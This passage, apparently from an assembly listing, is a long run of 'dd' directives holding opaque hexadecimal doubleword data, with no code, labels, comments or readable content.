0D025CE0Bh, 564E2900h, 6A27E101h, 0D1642786h dd 413EA484h, 0E843A713h, 0EC54C8CDh, 9F48AC19h, 626CF0h dd 32664C9h, 0C9BC625h, 0F2EC13Bh, 5CCCDD20h, 62409402h dd 0FEF058E7h, 0D708C134h, 301A7167h, 0C74EA4C5h, 43E5074h dd 0D822C115h, 0A8BC3415h, 63202709h, 0EE888460h, 88038588h dd 2780D4D9h, 296664E9h, 1AD21A4h, 0BB22CD12h, 57D8E08Ch dd 88E90075h, 0AFF64878h, 29762D1Bh, 900C598h, 0CE4DB968h dd 0EC3DFBCh, 0A1FDA62Eh, 809C4100h, 0BE011F61h, 4609A862h dd 2C60270Ch, 0B755006Ch, 23D52919h, 88B8C806h, 330073F0h dd 0C4BCDFC3h, 613593E4h, 4409F11Ch, 0D5DC6411h, 0EE2C6B00h dd 0D369DE7Bh, 0BDECD8h, 3F687717h, 0B7C37D01h, 0E4135Ch dd 0E8D47435h, 17039A6Eh, 90D81AB3h, 0DB47E620h, 2AAFFC01h dd 601D974Fh, 4D010033h, 913F6C5Ah, 0C22C43F5h, 5CA40BBAh dd 7ABC40C7h, 0C2E288h, 8DD2357Ch, 0F210F7B6h, 3A207D60h dd 2E6581F8h, 0EC39B8h, 1D0AC9B1h, 0EB000666h, 0EC2A6ECEh dd 0E852648Ah, 83390046h, 0A953E365h, 83B033D9h, 0F33F1700h dd 98F21B74h, 1E431CD6h, 0DDE38011h, 0E80CAE62h, 8D3AB600h dd 0C58E4453h, 1214049Ch, 90911507h, 21014E1Ch, 8A576B00h dd 7AAA03C0h, 827F0087h, 3B58555Ah, 0DA013AC4h, 6633B431h dd 6A9F2D0Ah, 0D8188026h, 741FF8A3h, 0ADA8A4Ch, 0E8EA2163h dd 93894900h, 5968B4h, 0BF255637h, 0C6298ED1h, 0CA93017h dd 0BCFADC40h, 0A61016h, 87313793h, 9AD4DAF0h, 0F1F7DB00h dd 91973347h, 0D2FB00F8h, 0F2655EC5h, 20FB3CEBh, 0B8001B46h dd 86FDA4AFh, 2CD5B274h, 144D314h, 0A0DC7B9Ch, 7C289Eh dd 1A818B62h, 926094D6h, 21FF251Ch, 8870BC05h, 2A542910h dd 0BC09DCF8h, 4146B28Ch, 1981CEB8h, 3339993Eh, 5F118C0Ch dd 4B5027h, 0DD5CEB36h, 0CA15DC7Ah, 0E754532Eh, 0E4406B1Eh dd 0D3D9D10h, 381CFADDh, 570061AFh, 5D88C739h, 0CC01F34Bh dd 0D744BC24h, 0B9807276h, 1713F886h, 342E91FAh, 0D700B7E8h dd 0F45926CBh, 194EA8h, 0EFB998ACh, 30062FCh, 0DD44D28Fh dd 0F4A5B1ADh, 839B004Ch, 0EB6975E2h, 0F0044670h, 0C37898F8h dd 0EAF264B4h, 339A0092h, 0DA345201h, 87126442h, 400AF82h dd 247E2102h, 9FCB372Ah, 369010D8h, 3500A462h, 6CB8AF98h dd 301DA1F2h, 0AB562587h, 7C0029FCh, 0F6BF8B5Fh, 1E316297h dd 40453C26h, 2D9E48A3h, 5D00CBE7h, 0E0430738h, 41092Bh dd 0B9948AA9h, 2698876Dh, 7BF2FB07h, 0F3204330h, 41EA2Ch dd 0F00295C1h, 0DB597D58h, 0FDEC9400h, 4C7A9EF8h, 883E00CAh dd 4DEFDE1Bh, 0AC005623h, 0B052C151h, 4C0CB6h, 0AAEE684Eh dd 0AB1AFD6Ch, 442C29C3h, 0CFE8D0B0h, 0E6E304B7h, 0C07759F9h dd 92A8A07h, 70EFC900h, 5344452Ch, 0CCA60935h, 0FB0063BEh dd 5E3F4160h, 75F53Dh, 0B0E6EFC7h, 3DBB0C2Bh, 0A880C4A5h dd 30D40ED1h, 241F81D5h, 0F500639Eh, 7E08CFAEh, 8BD300FAh dd 0E1423CFEh, 9C3E604Bh dd 414D8070h, 9DEF3206h, 0CDE40E20h, 1FE0DF83h, 0C30D72E5h dd 26101B00h, 61BF5F65h, 27FA20h, 11D2F0B9h, 59F4938h dd 0AA5E2E00h, 0A802CE33h, 1C260034h, 0C21F8F2Fh, 7C00DCB9h dd 597A1EE8h, 37C14Fh, 6F2C5061h, 30B0EC6h, 8DA3641Fh dd 0E958A0EFh, 782F06Bh, 0F718DAD3h, 1044B127h, 0E1B02085h dd 2634E04Dh, 403EA456h, 1B660025h, 0D0AA6D0Ch, 9300CAA7h dd 317E8A48h, 92854E0h, 9275366Bh, 72CF000h, 4CFE78E7h dd 0A0A25F3Bh, 67EF1EA1h, 7D8AC020h, 0F13B8663h, 0BCB18C0h dd 9CFC91h, 963D5DFDh, 3488A4Dh, 0A095C500h, 0B6DF3A12h dd 9B1E03DDh, 0EB15E737h, 3C2BD11Fh, 0E5C77BC0h, 0FE81819h dd 8B3F66F8h, 0A8D859C0h, 29F4B985h, 0C7EFD0Bh, 36B3804Fh dd 79B0516Dh, 913004D1h, 0B4122EEFh, 88982338h, 7C51C14h dd 5431097Ch, 1D38A095h, 135ECF6h, 6ACA05FBh, 64AD454Bh dd 0B23F2D30h, 0CBBB807Eh, 0FC393090h, 4F07013Ah, 918EB414h dd 0AA3BE424h, 8CB26AFAh, 0AAE0EE3Ch, 0C002E8EFh, 0A3FF5C21h dd 0A8C0C40Eh, 0A1E054h, 2B4AD4F7h, 0C5ACAA97h, 8D89B500h dd 0EB7354E4h, 411D048Ah, 0C34448F3h, 0DB808018h, 3CBAD06Fh dd 137D973Ah, 8440E21Dh, 8255E56Ah, 5D74944Eh, 3CA1B600h dd 0C42C26CEh, 0A434A9E1h, 0EB0CC84Ch, 8C6810Ch, 0D3694BB5h dd 1011D364h, 0DB3CED38h, 96278A00h, 6C404575h, 0CCF91412h dd 885CF800h, 0FB0C5CAh, 82D66EB9h, 54820B8Fh, 0B8C3C36Bh dd 4F0659A6h, 476479B8h, 1E4E0F81h, 894667Bh, 0EEA12C00h dd 0E1A3BE14h, 0AB46B3Ch, 6024CE3Eh, 0FBC81E90h, 8CB0C418h dd 0A90614C6h, 0CC30101Ch, 0C3435AF8h, 0F134740Bh, 0F6C480C9h dd 7F35D8h, 656AE990h, 0DB2EA998h, 0A30C4C7Eh, 0B13EA615h dd 0C3712647h, 0F73D0041h, 73935054h, 1C025AF4h, 0CC161D0h dd 0FD80E131h, 0B5A860h, 0C369333Bh, 0A64F014Ch, 8E93EC00h dd 5D32EFB7h, 71B430FDh, 0B94C9030h, 0CDE41073h, 607F744Ah dd 0FE0447h, 0AD6EC5D0h, 0C75088C1h, 2AEDB518h, 26A600ECh dd 8FB02005h, 498EF800h, 626AC1E1h, 0B5D70C1Ah, 4A29B3D1h dd 88742284h, 65117E42h, 22847AB1h, 52428BD1h, 0E6C5B13Eh dd 2F85D213h, 0BBD19F70h, 0BD089621h, 84BA9081h, 0A15EB969h dd 90BC4C08h, 83DB848Eh, 9142AE48h, 21E224BAh, 0D2128E6Ah dd 24C6B411h, 44A827F6h, 0B76621C6h, 7E10CA12h, 8EA898Ch dd 0DEB14446h, 8A722284h, 4041E20h, 0F0F6DC9Ah, 2754A046h dd 0B4BA1016h, 51572300h, 7753E7h, 0B21B9871h, 5285FEA5h dd 80DC4B3Eh, 0D8BB6A6Ch, 29D040Fh, 7512D426h, 64C0C974h dd 0BC00DB3Ch, 422E01D5h, 9BDFE5h, 996BF3D4h, 25D61106h dd 4473E00h, 0EE22D9C3h, 0F99C0016h, 7827292Ah, 55007C8Fh dd 244FF5AEh, 39994B8Bh, 0EF823462h, 602D8C37h, 3DC540C0h dd 66FEC200h, 0F4F3FDDCh, 476A00EEh, 0CD329BFAh, 17005B1Ah dd 1C4EE4A8h, 45BD76h, 0CF3582C4h, 7028EA9Fh, 0D71EE100h dd 6C375DC0h, 52101A1h, 7F6DC731h, 4ECBE0E7h, 9AC38400h dd 2F871258h, 4B7C92DBh, 0CD404B48h, 4180588Ch, 653044F2h dd 0C50D50BBh, 39F28Ah, 0F8F5293Ah, 7001AC81h, 0DD8F4E00h dd 49367672h, 30B76068h, 1764FE18h, 3ACD749h, 6AAC73C8h dd 82B00542h, 13DABD70h, 5DED02ACh, 2050F3F5h, 64A5202Ch dd 9727A801h, 79FC3E42h, 7472FAB8h, 5C4500A2h, 8B966BA5h dd 7E174411h, 410A4EEBh, 0ED18BF74h, 0FC1D41h, 4834208Fh dd 0A63C45C1h, 4E740400h, 78D22A60h, 3F8D001Ch, 0FC029F76h dd 0D03B99CCh, 0D63C1C98h, 9091A500h, 0B8C838h, 0EEAFD118h dd 37DD5545h, 19FAE300h, 0AB599776h, 745C0031h, 0FE3B5B3Dh dd 0F5001214h, 29D6D0C3h, 0FC5AFD43h, 33DC0123h, 16850149h dd 0B65E0B9h, 2899D13Fh, 0AF00843Bh, 970F6645h, 0C009A9h dd 16E8DABEh, 0B86DDB36h, 780494B8h, 0FB104AB6h, 8E88B702h dd 0ED716E40h, 54748400h, 2917ABCAh, 3444002Dh, 0B5640D11h dd 0A1A0C249h, 0A20022CFh, 7D04ADF9h, 3658C98h, 0AC6EBA1Bh dd 3F824205h, 0A96894E0h, 3619B300h, 8394928h, 0E5410B09h dd 98AFB938h, 904E8967h, 0E107692Fh, 0AE90D054h, 80FA6625h dd 0F5D772ECh, 0E0556038h, 32E11ED2h, 0F2423B00h, 8E9266CAh dd 83C024B6h, 7880938h, 0D7C23880h, 0D100E720h, 0D3A65ADh dd 0F3437Fh, 0A7BFAB01h, 0A999C84Dh, 2E20B03h, 1FC5359Bh dd 0C7BA2529h, 0C026C257h, 681929FAh, 0F0B4AC00h, 0D27FF2AAh dd 0D58C1215h, 0DE8004BEh, 1A07432Eh, 0A92BF8F9h, 4645002Fh dd 0CE6EFA12h, 847C410Bh, 3192FC01h, 0A33EE298h, 0EC3020h dd 4BF006E5h, 2AFCD708h, 32DFEB00h, 0B6248D4Eh, 0C2D601BAh dd 11EDC434h, 7E6AE44Dh, 0CAA0F801h, 0BF56B8BCh, 0D176F880h dd 0AA63CFD5h, 0D0BA8701h, 32C20E73h, 2760FED4h, 54000194h dd 73DD923h, 4F3CA700h, 93E18084h, 6746074Ch, 302D658Dh dd 3BE2EF68h, 9D874003h, 0B0DA2AE6h, 3C7F830Ah, 7E3F7D5Ah dd 0BB4400F7h, 7891F7AEh, 0FC0423C2h, 19218213h, 0E02A8FCh dd 628F9B40h, 3C00A85Ah, 21AE435Fh, 5E81207Ch, 1B2C0F9h dd 0EA017457h, 0CC4A778Bh, 402215A5h, 6A0B1303h, 0E8A8E1FDh dd 0F809F059h, 407BE060h, 4B566BDCh, 5C189025h, 407E4612h dd 0DD1AA904h, 0CF0D87Ah, 6F820050h, 887CC2E3h, 0C4F63112h dd 0F349449h, 601369D4h, 141CFA21h, 0D85C0A60h, 2CB02FBAh dd 7673048Dh, 3E4CC084h, 40985ED4h, 819AF539h, 2FDB4180h dd 63C11E75h, 0F9CAA0C7h, 2D0B00CBh, 1DEEFBEh, 7600B1ACh dd 582E75AFh, 7D8551h, 18B245DFh, 86506428h, 0E173B07h dd 0D4803914h, 5BE321h, 0D3C9A83Fh, 0CCD03368h, 45EA5D0Fh dd 0D6412029h, 23061D4h, 2E699136h, 0B21072E8h, 0E92000E6h dd 0D88F456Fh, 602DEC22h, 0D11C422Ch, 3943D600h, 84282C4Ah dd 7A7A5897h, 34EB0011h, 443275F3h, 0B800B907h, 0BE013CAFh dd 9577304h, 31B077C4h, 5605B458h, 9B664320h, 0E00EC00Fh dd 2CD79489h, 787C0023h, 0EEF5ECD0h, 360086A7h, 7F0E9387h dd 9504E45h, 581DD3B3h, 0BDBBAE80h, 560E7403h, 40724ADCh dd 5B92357h, 77341CE2h, 84B6C049h, 0CF01BCD2h, 5A141F00h dd 851BA361h, 93D80087h, 89907328h, 0AE0EA912h, 4008F8A7h dd 0BBC5EC62h, 6DE901D7h, 891F049Bh, 6EF03AA4h, 25861317h dd 9A9CF08Dh, 132FF40Fh, 0C0302EFEh, 0D7D3B0DDh, 0F055003Ah dd 906D1DB4h, 0B5279C94h, 0DE5C20EBh, 40A9D958h, 670048BDh dd 75719E87h, 905F74EFh, 4894758Ch, 85A07CCFh, 0BF0218F5h dd 2CD9D775h, 65C0688Dh, 0A507009Dh, 21A43793h, 27B1C77h dd 4492E12Ch, 0A700D024h, 6ABD3F60h, 0C1CF16BCh, 7780B7Ch dd 99D66E82h, 0D58398C0h, 549EC000h, 0C6E28E59h, 0F4310E62h dd 52E7A32Dh, 823295AAh, 6040C8ACh, 0DF3A405Ch, 93BA8076h dd 6EC43CF4h, 319F0009h, 0C6D7F2Eh, 0B61E33D0h, 7EC1EF55h dd 74C01E94h, 42FCDCh, 0D845E15Ah, 85EB9E19h, 403D4F0Bh dd 0C07F8FF7h, 881FE96Dh, 0D540093h, 6769A88Ch, 77259AA6h dd 0BF7CC005h, 0BD3E0044h, 15D932B2h, 0FF4898EBh, 10CF078Ch dd 0F9901F06h, 0B8C3C65h, 0AF2342DCh, 8599C048h, 0D1CD9C00h dd 5753305Ah, 71DA1EBAh, 10F5C035h, 3293FD14h, 5024F62Eh dd 13BB809h, 2B21F08Ch dd 22E4002Fh, 0BCFD4495h, 201C58h, 8B4B91D5h, 733B4210h dd 0BB1B1ED7h, 4093B1h, 0F56F8F40h, 0FE1763AFh, 8007E6A4h dd 0CDE00ED4h, 3E752192h, 29BE1EBDh, 36725289h, 1AFC7800h dd 0E7003AD8h, 0E9633398h, 0B21270h, 7A347FF7h, 1D8A2A01h dd 17C4DC07h, 60EE5438h, 12C9B353h, 51BD0632h, 0A0FDED89h dd 0B63FE807h, 1EE0B811h, 90267Ah, 0AB04C0F1h, 4C69C9F7h dd 3D304400h, 97360E70h, 0AF7D077Bh, 90DF5BFAh, 94A96692h dd 0CD485400h, 1D935DC4h, 27FB0787h, 70E1C246h, 7BC3E414h dd 818F213Ch, 0DF760322h, 6FD519h, 1A899244h, 0A200AEB9h dd 454F98FBh, 9472E5DEh, 0E7A6C0h, 0A64A8C38h, 30003694h dd 0EED0FE86h, 9F3DF64h, 9135438Dh, 3C003789h, 0D3FF441h dd 0ED07A973h, 0D719808Bh, 4932ECD0h, 8DB6264Bh, 0AC36074Ch dd 66DD806Ah, 0F5E42F50h, 48A0F426h, 0D4BBBC01h, 0CC4055B2h dd 6038FAh, 70C51125h, 67906420h, 0F8F5A100h, 7C0562E7h dd 24F40E3Eh, 61009D89h, 0A35D5437h, 4A343Dh, 0AF5CE420h dd 818FF6h, 902BC25Bh, 5029B308h, 0DFCE1402h, 0E0AC89F1h dd 1946E158h, 600483BCh, 0E272DCCBh, 91117960h, 0ACA070h dd 0F2F02156h, 8481D97Eh, 7B84379h, 800FD98h, 0F726672Eh dd 0F8AC7BB6h, 0D90AEh, 6D4B4A7Ch, 942714B0h, 749EA400h dd 5E3062E5h, 4DF01B6h, 503CAC0Bh, 98002EE3h, 0D2AAEFB4h dd 4AB85Bh, 0FE361BD7h, 0D53EB53Ch, 0C1048200h, 58B77D4Ah dd 0D3BD2444h, 0F19B0156h, 0C4C23311h, 0EC073A9Eh, 6973EEA0h dd 1B6D8A0h, 393B024Dh, 0F04C0BF5h, 2C1BD440h, 374B2A16h dd 0E8D85440h, 0FB0F16h, 982849CDh, 19C8A9B5h, 1C6EED00h dd 64E63BFh, 0A0412E5Dh, 1EFF4040h, 0E909C802h, 13AEC26h dd 17F50CD4h, 93CF4207h, 60DB10E8h, 5FE81C00h, 2A4A2372h dd 0D7402CD4h, 92378770h, 0DBDD6002h, 8500F4F0h, 3E63004h dd 14AD860Dh, 0EF6BCB97h, 0B81B8207h, 81330468h, 0DC2F0F3Ch dd 0C825F909h, 3F5676h, 0C72450ADh, 0E800C6CDh, 5EDB723Bh dd 0D83A3Dh, 0F1D564DEh, 8E0C4DF7h, 49BE1B03h, 987C6EE2h dd 0AB9C16h, 959BF953h, 933A09EFh, 80B5452Dh, 7A2932F4h dd 0C2CE0019h, 0E5EF785Bh, 925F453Eh, 0BACC055h, 106EA2Ch dd 5EE65094h, 26C4E920h, 0EA13BFh, 9CCF3195h, 0A130D9E7h dd 9FC9C8FAh, 0B3F4014Dh, 0C3898C3h, 5401F073h, 51B2E903h dd 0C883D04Ah, 3BF0C4C0h, 0B18B977Dh, 5C005AF2h, 4EFC55FAh dd 6F11D060h, 0FB86DB76h, 3072D8F8h, 0DDC02F2Dh, 100D570h dd 0C6FBD0C8h, 0F892A29Ch, 0AAA400D9h, 0D52A8098h, 0F10BEFEEh dd 95A914h, 22B15174h, 1196605Fh, 4F62E62Bh, 0DC05FF28h dd 3003D0FCh, 13E4C293h, 38E0CC58h, 4C909526h, 0A405F3DEh dd 0FDFCA9C5h, 4DB5A090h, 8B8909D7h, 0D48411F5h, 0A78CC09Fh dd 0BB48E119h, 0DB090ED0h, 7BC5BC98h, 98E24A52h, 0C967F10Bh dd 19EBBE00h, 2C0578E7h, 31B4449Fh, 0F99F80AEh, 39265B02h dd 710B2CAFh, 6F7700A1h, 7F6E2F52h, 9D7E00C5h, 0C258F034h dd 0F2002860h, 0D023F37Fh, 1707EB88h, 410BABBCh, 243BFBE0h dd 0B713C891h, 5B5E5017h, 8714D30Fh, 0A413F465h, 82D68066h dd 601F0001h, 0DC7550A0h, 5E04323Eh, 7F80FA7Ah, 47C824C0h dd 2A56007Bh, 0C28C5569h, 7C00A801h, 0B315E881h, 1CA50E4Bh dd 40B62B79h, 90CA24E2h, 6900C3C7h, 0DE82CEE3h, 0E711EDh dd 28C50B70h, 8C324224h, 0B01D2Fh, 0EC946538h, 3EF20127h dd 81B9F1FEh, 455AE813h, 5B383Eh, 9754C5DFh, 0F111D2h dd 0D8AF42D4h, 0D5B6DA7Dh, 69C958h, 0B4BC5EF7h, 325FCC0h dd 9252FB58h, 0ED98349Bh, 92B01DF1h, 7B1681FAh, 500DEA6h dd 0FEB40476h, 4F221F7Ah, 4097DDE2h, 4A850144h, 0B300A41Fh dd 1DB9FEA8h, 125E218Eh, 0EC7502Dh, 86A09CE7h, 0A28D6FB8h dd 62328A00h, 0CB642957h, 0AF74031Ch, 0DA83C106h, 0A03397F8h dd 58AAA603h, 0CA6F4595h, 80FC54EDh, 0A92940DEh, 7B0059BCh dd 8179D807h, 75E0FC67h, 9310014h, 0AB10CE21h, 0FF0F1C65h dd 409C8B7Ch, 3FAE172h, 92BF0058h, 0E5823CEBh, 8F01F5A7h dd 6A9C5A39h, 0F2F86F40h, 982FB829h, 1DD303FDh, 3608F7E0h dd 0EE7053D8h, 66831A00h, 6E93FB15h, 444F02A2h, 0F29E13DDh dd 490CDC80h, 58C09D0Fh, 5EC7536Fh, 1D90F3h, 0AB7A5238h dd 44B715B0h, 1D3A9514h, 7E930080h, 22E54E17h, 5FF8015Dh dd 53CFA0F0h, 4914F483h, 0AF0097ECh, 71E02E77h, 79863A4h dd 0BBAC17F6h, 303A5095h, 5C010FFFh, 7F299D74h, 7683DBA1h dd 0EA69C4B7h, 4BBC6390h, 0F79E8000h, 0A1E65AB2h, 16F90195h dd 3F8A72FCh, 48A6E83Ch, 871EDB00h, 6C969718h, 0FC150311h dd 4A771490h, 0BC1948h, 0E99354FDh, 270729h, 1722F261h dd 0C49020B3h, 8B6BFE1Fh, 0F45619C0h, 0E08A7Ch, 953E7FCFh dd 0E4C1CBD4h, 75880A00h, 6C1EA3C9h, 20F7DAFh, 0D2981B2Ah dd 70687CE3h, 0E200B1C2h, 883A4DDCh, 27E2B05h, 3B5B85D6h dd 0E05015D2h, 23C8B5Ch, 0DA7C9D65h, 8052007Eh, 8904B6Dh dd 0C6A0A800h, 368316B4h, 2B5B0956h, 6CA034D0h, 0E6858B12h dd 0EF2E2A70h, 810BDC3Fh, 0C7748095h, 0C10279Ch, 0B58A37D4h dd 98077A68h, 0A13B6502h, 3F854DF0h, 488C9AC3h, 7AD82Bh dd 0DEECB711h, 0C877B6FFh, 89138F01h, 0C28AA974h, 1AE27430h dd 0F03A15D0h, 1D972C80h, 0CB71B8B6h, 0C1ED280Eh, 843020A3h dd 3EEB472h, 0DA3EBA01h, 27B8427Ah, 62733A04h, 8A7E6700h dd 0CF63BE2h, 0E0A80412h, 0EF9DCC2Ah, 372D7407h, 0C0C40A92h dd 56FA56h, 0C8731DACh, 50A475CBh, 5D9ADF17h, 0F480411Eh dd 3F125FF3h, 9403E88h, 0B50CC04Eh, 7A00EDD6h, 1BCCB76Eh dd 298A71h, 0C77163Eh, 6C57CEDBh, 92765804h, 2B80C2D8h dd 9A9C22h, 0B9BF0350h, 5B5D793Fh, 454BE805h, 9480FE15h dd 14D1EB55h, 0A0A11444h, 2268D200h, 0BFE90EE4h, 2DDAD405h dd 0F80BAC99h, 36F42011h, 34AE88h, 86CCA664h, 80BE6A6Bh dd 2CB8900h, 0FF758F1Dh, 0DC702ECEh, 139500BEh, 0B1768229h dd 2D36D1C1h, 0C6FD057Eh, 0E9F8003Eh, 8E964132h, 9F689Ah dd 3AEE3060h, 288E9F70h, 0F8727460h, 110017BBh, 333591A7h dd 61DDE390h, 93CDD1BDh, 0C0FC6049h, 9D0C8A03h, 0E55C7A3Dh dd 223C98C0h, 0DAF00FB8h, 36A1EA47h, 2058206Fh, 0AA006808h dd 999D4FD3h, 3CECC7D9h, 0AE802ABDh, 8F7662F5h, 0A500AC41h dd 522132FEh, 78FF7CC7h, 781A4818h, 0D6C56300h, 0C2A70FF5h dd 0CFB6600h, 7B20D7C3h, 85A43C97h, 0DE7F8F09h, 0C07AB8A4h dd 7036C550h, 0EDEF0D07h, 0EA606EACh, 0D0F16Ah, 91B7F8F5h dd 55CF37F2h, 9A988218h, 60819h, 4E54A967h, 81A419D7h dd 0FF0E3600h, 0E9928510h, 39DEA2Ch, 47DE355Eh, 0B1D1E10Bh dd 60B87151h, 1B07F604h, 2D23CEEBh, 27FE050h, 1CA77BEDh dd 29AE227h, 0BC2FEBAEh, 0D47E6862h, 6E8F918h, 9E05303Eh dd 72C44588h, 8EE8A000h, 6594AE68h, 0A2A700A1h, 8A956737h dd 0F200F357h, 78B99D02h, 0B93B414h, 5AC7798Bh, 3D572F80h dd 9004EF17h, 0CBD7306Bh, 0B4F46CC4h, 1D4700F9h, 4DED7C5Ah dd 4B018A08h, 9B71F1EBh, 23A0687h, 95C5B11Ch, 5CF78600h dd 3F500BFh, 0D2B90FF8h, 0D02368Dh, 5A493594h, 8CCEE2E1h dd 3FC9B870h, 0FA008F44h dd 5F88C96h, 310147E1h, 1F599395h, 83CABB4h, 83208900h dd 0CEA7E1A4h, 318BDC07h, 6430A066h, 0B45EA5h, 0E302FFCDh dd 1DFE8296h, 0B1001FF2h, 19290149h, 7A606A1h, 4B1B88E6h dd 0C3602F30h, 16FEC803h, 11AF1300h, 0F79433DDh, 140AC028h dd 0FDEF6302h, 0F0006170h, 93274ED0h, 0C0A1B5h, 0E0819DB0h dd 3446D531h, 184B572Eh, 98297500h, 0E60814F9h, 0EA360F97h dd 84A08120h, 0F49FCA33h, 302F2D2Dh, 0FCFBF88h, 0FFE4A766h dd 4A202280h, 82027DA5h, 3A5B315Eh, 0ABC0DD51h, 30EF3C2Ah dd 797D2237h, 3F69AC00h, 0C59ECC01h, 4BAE6F9h, 6DB91A67h dd 150ED8Fh, 0D704A709h, 606F1364h, 2988E568h, 7D0704B0h dd 16E3F2B9h, 171C4360h, 8CEA00A6h, 0DEC0D21Fh, 0B0005231h dd 2F014D3Ah, 261AF669h, 80FC43BAh, 0EFE832A5h, 0A9396610h dd 21180C9h, 109ECC8h, 0F467012Dh, 8C3FC65Eh, 540020D7h dd 1EC78D02h, 569A36BEh, 39B01998h, 79C5DC6Bh, 0D5C18401h dd 3080450Ch, 88C63460h, 0C802B32Eh, 0AE99080Fh, 8430DB66h dd 0A09859C6h, 0EE5868CCh, 369613B0h, 635E8E0h, 0FCC4F95Bh dd 0EC02519Ch, 80EB671h, 0E0F0A8h, 652B01ADh, 0F464AC51h dd 60AE29CBh, 37DDF40h, 0D58548A5h, 7900D14Fh, 7B869A37h dd 7E1CB516h, 0E8727228h, 0A4C2D13h, 0D706C00Bh, 637231EBh dd 3B9E5C00h, 3DB9CEA5h, 65A216D7h, 298CE5Fh, 3CD91CF9h dd 45A498A0h, 0FAE4B26Fh, 60D2E8EFh, 779FF917h, 2E002815h dd 0F24994D3h, 60807D18h, 1CE2124h, 0AE006219h, 0CC527456h dd 5070A538h, 3CB1E4AAh, 0C05A22F8h, 0FA2A83F8h, 0DD0725h dd 0D321758Ch, 90A1D828h, 9A2E859Fh, 5805C77h, 0FBF5D8CEh dd 0C064FA65h, 0B37BE429h, 0DC1EBEC3h, 0A47E5E6Ch, 3AE12487h dd 322006ECh, 0B2250EDFh, 0F3239355h, 98617C8Eh, 3F9F4490h dd 819C0A3Eh, 0C37D0788h, 2396D1B2h, 18B0C8A9h, 218958BEh dd 0B464E3h, 93CABCA4h, 0C34726FCh, 151CE200h, 0D455EA32h dd 8A9400B4h, 68A9CF77h, 1413A469h, 44901F18h, 30D941EAh dd 0C6105B5Ch, 0E00120DFh, 539D040Dh, 0FC7026AFh, 0C5500045h dd 158C957Eh, 4F0325DBh, 706BF7F3h, 49B8E2BDh, 207F7878h dd 0B51E5A24h, 3AF6AD00h, 6AB78BCAh, 91A50A66h, 83A09883h dd 2ECF6FF0h, 98A08FB2h, 1BBFF963h, 0D040814Fh, 8F62A0F3h dd 7EE51D22h, 9C0E4F3Eh, 348D0520h, 0BD2EC9BEh, 7700289Ah dd 2B1C838Ch, 131FE8Ah, 0E1FDEAE5h, 0C80BAB6Bh, 0F90B3502h dd 80E4AD0Ch, 5FBD45FCh, 6791036Dh, 0A9A20F0h, 0B068C928h dd 93000475h, 0C1ADA1E5h, 21EFDCh, 13C942Ch, 814239A4h dd 0B3E09F00h, 3EBB6884h, 4858CEA7h, 971336h, 3CED588Ch dd 0EE0140DAh, 77FA6955h, 0ABF0563Dh, 5B763BD6h, 0BA38F7CCh dd 0C0531D7Dh, 2BAFC073h, 0CA7E273Fh, 99001E74h, 7302C61h dd 3B4E5E89h, 0D105A62Fh, 0C1EFA1B2h, 6C47F324h, 3B3D79D4h dd 0A47D0737h, 2AF7ADBh, 0C2AAC295h, 8024C05Ch, 0A25C3D47h dd 7DEE3180h, 0D5EB549Eh, 2CD4B3Ah, 40B81885h, 0A834C11Bh dd 5D7330h, 0ADECE6B3h, 0CB4F72Ch, 1C2180EDh, 8E9566A1h dd 0FCB10017h, 0CFF22C05h, 0B54EED5Eh, 0EC92C0C0h, 0F61B0127h dd 0D5FCC885h, 4002BA8h, 15BC884Dh, 9CF265h, 0C0E3AD94h dd 0A683377Eh, 0A1D15000h, 40F0B185h, 969F136Fh, 7C250409h dd 8C58806Bh, 30BFD70Ch, 2A5770h, 599D099Eh, 0B7B9EA0Ah dd 0E3374C02h, 4030E611h, 0E1663Ch, 17F49851h, 923EC00Bh dd 0F774DE09h, 36F82073h, 0B0F9D4CEh, 958224C2h, 0F6C1630h dd 0BC255220h, 67A3042Dh, 0AE4B0D1h, 3A90D801h, 7D03DE34h dd 7A4862h, 4ACEAFBFh, 0FC738599h, 3C2E5C03h, 8A403BEBh dd 3C38F88Dh, 0ED8098C3h, 4ED73719h, 3609083Ah, 229C25C2h dd 7E4F92A8h, 5F321DD8h, 0A9EF408Eh, 0FCC29133h, 4294FA00h dd 6FCC12F1h, 1D05007Bh, 4AE77A58h, 54145F9Dh, 1688219Ah dd 5E02BC3Dh, 822B2F31h, 600953D5h, 134AA784h, 2CA819Bh dd 80F93928h, 5E3A6860h, 737583Eh, 0A9549208h, 0AB89CB31h dd 26E10070h, 8034DCD1h, 53971CEBh, 0BB0AF622h, 0A84EEC9Ah dd 1566DC01h, 0D836CC0Eh, 2E08C201h, 34D34CC8h, 96163B08h dd 0BC203E06h, 1FCE868h, 0D5C0877Ah, 34744D01h, 848520h dd 7BEE932h, 513735B7h, 528BEE13h, 69AA50A1h, 0DCA358C0h dd 89D545F3h, 0CDB9F838h, 0F6599E0Ah, 0DC82BC5Ch, 0C024EB06h dd 9A70E87Ch, 35120354h, 0FE40D721h, 0F8A5C9F0h, 0B671FC60h dd 0C0A8EAADh, 1A32C041h, 775AD5FDh, 0A6A1ECC0h, 0B7C100BBh dd 0A99B3413h, 0CB600DD0h, 629F2331h, 55F30BBBh, 40127B9Ah dd 0E31D8003h, 5CA33CB8h, 0AD112400h, 9656913Eh, 1FAB1F97h dd 49EBD8EFh, 1D00FD0Dh, 0F41AB87Dh, 3AE29B84h, 0AC022556h dd 38C2B9A3h, 0F87EA8E0h, 39990C05h, 8C6222BEh, 0E9C01A18h dd 0F8305F9Ch, 4DE615Eh, 18265DE9h, 3515B580h, 1200D429h dd 0C13F4B7h, 0C36AAA9Dh, 0B00D7E88h, 8708195h, 24C72FAh dd 2CD3F91Ah, 4178C0E4h, 0DF782E5Bh, 1A275044h, 78908249h dd 6F245B79h, 2C3CFC1Bh, 5A5C8897h, 195400A8h, 1D6F163Ch dd 1F24B9FAh, 0AE38643Dh, 5C181243h, 987F0611h, 387007C8h dd 90D00FE2h, 0CCBAC9ECh, 75163A0Fh, 7E15829Fh, 0EC94A868h dd 0E06AC20h, 35D670D7h, 9C260B48h, 34195EBCh, 96C77D4h dd 5614034Ah, 56E8002Ah, 62F565ABh, 75013490h, 503FF2CAh dd 0BC40AD32h, 23394A4h, 0A6B7128h, 0A4AE4AE5h, 68210181h dd 4232307Ah, 0B2CDA513h, 22555C09h, 25CF47D8h, 0E430C47Bh dd 7203F1A0h, 3D64F2EEh, 0B345F88Dh, 4C789806h, 2200700Dh dd 6FD875E4h, 3CE4F559h, 42FD0707h, 29B4FE19h, 8F76EC1h dd 3C1D16D8h, 0F6007A21h, 70332C28h, 5B4AF2FFh, 0D639DCBCh dd 0C517D500h, 0BF9D2595h, 59A60E7h, 0F8F9BB0Bh, 